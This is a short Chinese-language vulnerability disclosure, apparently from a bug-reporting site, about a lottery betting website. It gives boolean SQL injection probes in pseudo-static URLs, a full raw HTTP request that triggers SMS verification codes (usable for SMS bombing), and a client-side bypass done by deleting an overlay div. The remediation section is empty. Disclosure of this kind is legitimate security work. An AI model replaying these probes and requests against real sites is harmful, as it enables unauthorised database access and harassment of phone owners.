投注网伪静态sql注入、短信轰炸、前端绕过 - 网

投注网伪静态sql注入、短信轰炸、前端绕过

 

1、sql注入：80 8080 8888端口均有此问题 以80端口的一个链接为例 http://goucai.touzhu.cn/actinfo/news_39692.html http://goucai.touzhu.cn/actinfo/news_39692 and 1=1.html  

http://goucai.touzhu.cn/actinfo/news_39692 and 1=2.html  

2.短信轰炸 只以一个发短信接口为例，其他可能还有，需要自查。  

POST /customer/AllUserCheck.php HTTP/1.1 Host: goucai.touzhu.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: */* Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://goucai.touzhu.cn/customer/usersafe.php?usercz=5 Content-Length: 86 Cookie: PHP SESSID=ec00834031229b68214238f4227e66db; bdshare_firstime=1408523278454; helpskaiguan=CaiSo; JSESSIONID=451A224458AEA552813A284CF63807D2; Hm_lvt_bd0a40a63edb615722f22f4239f42596=1408523821; Hm_lpvt_bd0a40a63edb615722f22f4239f42596=1408524201; Hm_lvt_1960c483f4fc5ef584a135a1bf5419bf=1408524211; Hm_lpvt_1960c483f4fc5ef584a135a1bf5419bf=1408524238 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache jq_input_mobile=13812345678&actionc=newSendMobileCheckCode&suijishu=0.9894352478371744

 

3.div浮层绕过 http://goucai.touzhu.cn/customer/toUserEmail.php 修改验证邮箱，没实名认证会弹div浮层。  

审查元素，删除<div style="display:block" id="pzzceng"></div>，可绕过限制  

 

修复方案：

修复吧

查看更多关于投注网伪静态sql注入、短信轰炸、前端绕过 - 网的详细内容...